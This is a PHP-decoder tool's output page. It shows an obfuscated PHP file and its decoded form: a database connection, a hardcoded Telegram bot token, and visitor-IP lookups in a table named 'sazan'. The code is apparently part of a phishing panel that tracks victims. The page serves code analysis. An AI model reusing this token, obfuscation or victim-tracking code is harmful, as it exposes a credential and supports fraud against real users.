Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4fB\x41L\x53"}["s\x62i\x6do\x5f\x79i\x6a\x61\x73_\x66\x5fe\x6de\x71\x78g\x..
Decoded Output download
<?php ${"GLOBALS"}["sbimo_yijas_f_emeqxgulcwyiykxsa_sheebh"] = "db";
${"GLOBALS"}["bxomwrdi_slgib_i_e_llcdesdkemngq__czu"] = "servername";
${"GLOBALS"}["jqoesu_olcmuiuwzbgocxjrvvbsmittxv_jpg"] = "dbname";
${"GLOBALS"}["nr_unkwfjfkkrwdzionlfesyetxuios"] = "username";
${"GLOBALS"}["frzzubibxbzupk_h__snlc"] = "password";
${"GLOBALS"}["vmbdrueczjtbqcjlofque_xvd"] = "ap";
include('router.php');
try {
${${"GLOBALS"}["sbimo_yijas_f_emeqxgulcwyiykxsa_sheebh"]} = new PDO("mysql:host=${${"GLOBALS"}["bxomwrdi_slgib_i_e_llcdesdkemngq__czu"]};dbname=${${"GLOBALS"}["jqoesu_olcmuiuwzbgocxjrvvbsmittxv_jpg"]}", ${${"GLOBALS"}["nr_unkwfjfkkrwdzionlfesyetxuios"]}, ${${"GLOBALS"}["frzzubibxbzupk_h__snlc"]});
${${"GLOBALS"}["vmbdrueczjtbqcjlofque_xvd"]} = "5527671976:AAF32_XlSMVsNRjIA3eM-ggquL1NPw-t_gE";
${${"GLOBALS"}["sbimo_yijas_f_emeqxgulcwyiykxsa_sheebh"]}->{"setAttribute"}(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
${${"GLOBALS"}["sbimo_yijas_f_emeqxgulcwyiykxsa_sheebh"]}->{"exec"}("SET NAMES 'utf8'; SET CHARSET 'utf8'");
$q = "-950536354";
} catch (PDOException $e) {
echo "SQL'de sorun var. Ltfen dzgn baladna emin ol!";
}
function getUserIP()
{
// Get real visitor IP behind CloudFlare network
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else {
$ip = $remote;
}
return $ip;
}
$ip = getUserIP();
$t = $db->query("SELECT * FROM sazan WHERE ip = '{$ip}'")->fetch(PDO::FETCH_ASSOC);
?>
Did this file decode correctly?
Original Code
<?php ${"G\x4c\x4fB\x41L\x53"}["s\x62i\x6do\x5f\x79i\x6a\x61\x73_\x66\x5fe\x6de\x71\x78g\x75l\x63w\x79i\x79k\x78s\x61\x5fs\x68e\x65b\x68"] = "d\x62";
${"\x47\x4c\x4fB\x41\x4c\x53"}["b\x78o\x6dw\x72d\x69_\x73l\x67i\x62\x5fi\x5f\x65_\x6cl\x63d\x65\x73\x64k\x65\x6dn\x67\x71_\x5fc\x7au"] = "s\x65\x72v\x65r\x6e\x61m\x65";
${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x71\x6f\x65\x73u\x5f\x6f\x6cc\x6d\x75\x69\x75\x77\x7ab\x67\x6f\x63x\x6ar\x76v\x62s\x6di\x74t\x78v\x5fj\x70g"] = "d\x62\x6e\x61\x6de";
${"G\x4cO\x42A\x4c\x53"}["n\x72\x5f\x75\x6e\x6bw\x66\x6af\x6b\x6b\x72w\x64\x7a\x69o\x6el\x66\x65s\x79\x65\x74\x78u\x69o\x73"] = "\x75s\x65\x72n\x61m\x65";
${"\x47L\x4fB\x41L\x53"}["f\x72z\x7a\x75b\x69b\x78b\x7au\x70k\x5fh\x5f\x5fs\x6el\x63"] = "p\x61\x73s\x77o\x72\x64";
${"\x47L\x4fB\x41L\x53"}["v\x6db\x64\x72u\x65\x63z\x6at\x62q\x63\x6al\x6ff\x71\x75e\x5f\x78\x76\x64"] = "\x61\x70";
include('router.php');
try {
${${"\x47L\x4fB\x41L\x53"}["s\x62i\x6do\x5f\x79i\x6a\x61\x73_\x66\x5fe\x6de\x71\x78g\x75l\x63w\x79i\x79k\x78s\x61\x5fs\x68e\x65b\x68"]} = new PDO("\x6d\x79\x73\x71\x6c\x3a\x68\x6f\x73\x74\x3d${${"G\x4c\x4fB\x41L\x53"}["b\x78o\x6dw\x72d\x69_\x73l\x67i\x62\x5fi\x5f\x65_\x6cl\x63d\x65\x73\x64k\x65\x6dn\x67\x71_\x5fc\x7au"]}\x3b\x64\x62\x6e\x61\x6d\x65\x3d${${"G\x4cO\x42\x41L\x53"}["\x6a\x71\x6f\x65\x73u\x5f\x6f\x6cc\x6d\x75\x69\x75\x77\x7ab\x67\x6f\x63x\x6ar\x76v\x62s\x6di\x74t\x78v\x5fj\x70g"]}", ${${"G\x4cO\x42A\x4c\x53"}["n\x72\x5f\x75\x6e\x6bw\x66\x6af\x6b\x6b\x72w\x64\x7a\x69o\x6el\x66\x65s\x79\x65\x74\x78u\x69o\x73"]}, ${${"\x47L\x4f\x42A\x4c\x53"}["f\x72z\x7a\x75b\x69b\x78b\x7au\x70k\x5fh\x5f\x5fs\x6el\x63"]});
${${"\x47L\x4fB\x41\x4cS"}["v\x6db\x64\x72u\x65\x63z\x6at\x62q\x63\x6al\x6ff\x71\x75e\x5f\x78\x76\x64"]} = "\x355\x32\x376\x37\x319\x37\x36:\x41\x41\x463\x32_\x58\x6cS\x4d\x56\x73\x4eR\x6a\x49A\x33\x65\x4d\x2d\x67\x67q\x75L\x31N\x50\x77-\x74_\x67\x45";
${${"\x47L\x4f\x42A\x4c\x53"}["s\x62i\x6do\x5f\x79i\x6a\x61\x73_\x66\x5fe\x6de\x71\x78g\x75l\x63w\x79i\x79k\x78s\x61\x5fs\x68e\x65b\x68"]}->{"\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65"}(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
${${"G\x4c\x4f\x42\x41L\x53"}["s\x62i\x6do\x5f\x79i\x6a\x61\x73_\x66\x5fe\x6de\x71\x78g\x75l\x63w\x79i\x79k\x78s\x61\x5fs\x68e\x65b\x68"]}->{"\x65\x78\x65\x63"}("SET NAMES 'utf8'; SET CHARSET 'utf8'");
$q = "-950536354";
} catch (PDOException $e) {
echo "S\x51L\x27\x64e\x20s\x6fr\x75n\x20v\x61\x72\x2e \x4ct\x66e\x6e\x20d\x7a\x67\x6e\x20\x62\x61l\x61d\x6e\x61 \x65m\x69\x6e \x6fl\x21";
}
function getUserIP()
{
// Get real visitor IP behind CloudFlare network
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
$_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else {
$ip = $remote;
}
return $ip;
}
$ip = getUserIP();
$t = $db->query("SELECT * FROM sazan WHERE ip = '{$ip}'")->fetch(PDO::FETCH_ASSOC);
Function Calls
None |
Stats
MD5 | 9a16a85133b76e7a1e3d3c9f581971c6 |
Eval Count | 0 |
Decode Time | 69 ms |